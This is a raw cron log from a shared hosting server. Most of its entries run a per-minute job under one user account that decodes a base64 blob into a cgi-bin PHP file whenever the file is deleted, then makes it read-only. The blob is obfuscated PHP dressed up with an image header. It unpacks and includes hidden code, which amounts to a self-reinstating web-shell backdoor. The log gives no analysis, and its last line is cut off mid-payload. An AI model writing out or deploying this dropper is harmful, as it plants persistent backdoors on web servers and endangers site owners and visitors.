Apr  6 17:15:01 server CROND[22431]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 17:16:01 server CROND[22544]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 17:17:01 server CROND[22598]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 17:18:01 server CROND[22645]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 17:19:01 server CROND[22708]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 17:20:01 server CROND[22849]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 17:20:01 server CROND[22853]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 17:20:01 server CROND[22854]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 17:20:01 server CROND[22852]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 17:20:01 server CROND[22851]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 17:21:01 server CROND[22979]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 17:22:01 server CROND[23026]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 17:23:01 server CROND[23078]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 17:24:01 server CROND[23130]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 17:25:01 server CROND[23289]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 17:25:01 server CROND[23290]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 17:25:01 server CROND[23291]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 17:26:01 server CROND[23398]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 17:27:01 server CROND[23449]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 17:27:01 server CROND[23450]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 17:28:01 server CROND[23509]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaU